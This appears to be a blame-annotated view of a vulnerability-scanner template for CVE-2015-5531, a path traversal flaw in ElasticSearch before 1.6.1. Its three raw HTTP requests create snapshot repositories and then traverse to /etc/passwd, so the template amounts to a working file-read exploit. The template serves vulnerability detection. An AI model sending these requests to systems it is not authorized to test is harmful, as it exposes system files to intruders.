2022-01-04 11:21:00 +00:00
id : CVE-2015-5531
2022-04-22 10:38:41 +00:00
2022-01-04 11:21:00 +00:00
info :
2022-06-09 20:35:21 +00:00
name : ElasticSearch <1.6.1 - Local File Inclusion
2022-01-04 11:21:00 +00:00
author : princechaddha
2023-07-11 19:49:27 +00:00
severity : medium
2022-06-09 20:35:21 +00:00
description : ElasticSearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade ElasticSearch to version 1.6.1 or later to mitigate the vulnerability.
2022-01-04 11:21:00 +00:00
reference :
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-5531
- https://nvd.nist.gov/vuln/detail/CVE-2015-5531
2022-05-17 09:18:12 +00:00
- http://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html
- https://www.elastic.co/community/security/
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/133797/ElasticSearch-Path-Traversal-Arbitrary-File-Download.html
2022-04-01 08:51:42 +00:00
classification :
2022-09-06 01:33:31 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
2023-04-18 02:40:53 +00:00
cvss-score : 5
2022-04-01 08:51:42 +00:00
cve-id : CVE-2015-5531
2022-09-06 01:33:31 +00:00
cwe-id : CWE-22
2023-10-14 11:27:55 +00:00
epss-score : 0.97144
2024-03-23 09:28:19 +00:00
epss-percentile : 0.99783
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : elasticsearch
product : elasticsearch
2024-01-14 09:21:50 +00:00
tags : cve2015,cve,vulhub,packetstorm,elasticsearch,intrusive
2022-01-04 11:21:00 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-01-04 11:21:00 +00:00
- raw :
- |
PUT /_snapshot/test HTTP/1.1
Host : {{Hostname}}
{
"type": "fs" ,
"settings": {
2022-01-05 07:31:50 +00:00
"location": "/usr/share/elasticsearch/repo/test"
2022-01-04 11:21:00 +00:00
}
}
- |
PUT /_snapshot/test2 HTTP/1.1
Host : {{Hostname}}
{
"type": "fs" ,
"settings": {
2022-01-05 07:31:50 +00:00
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
2022-01-04 11:21:00 +00:00
}
}
- |
GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-07-11 19:49:27 +00:00
- ElasticsearchParseException
- Failed to derive xcontent from
- 114 , 111 , 111 , 116 , 58
2022-01-04 11:21:00 +00:00
condition : and
- type : status
status :
- 400
2024-01-26 08:31:11 +00:00
# digest: 4a0a00473045022040379bf3c6f267393aab46e13527a9a867b28c382dfc9368b31084595d5f52b50221009508867691d5fcdf9e50aeeed9c93ec2800b8d6870a338f9cb71a2c3a36ab4a1:922c64590222798bb761d5b6d8e72950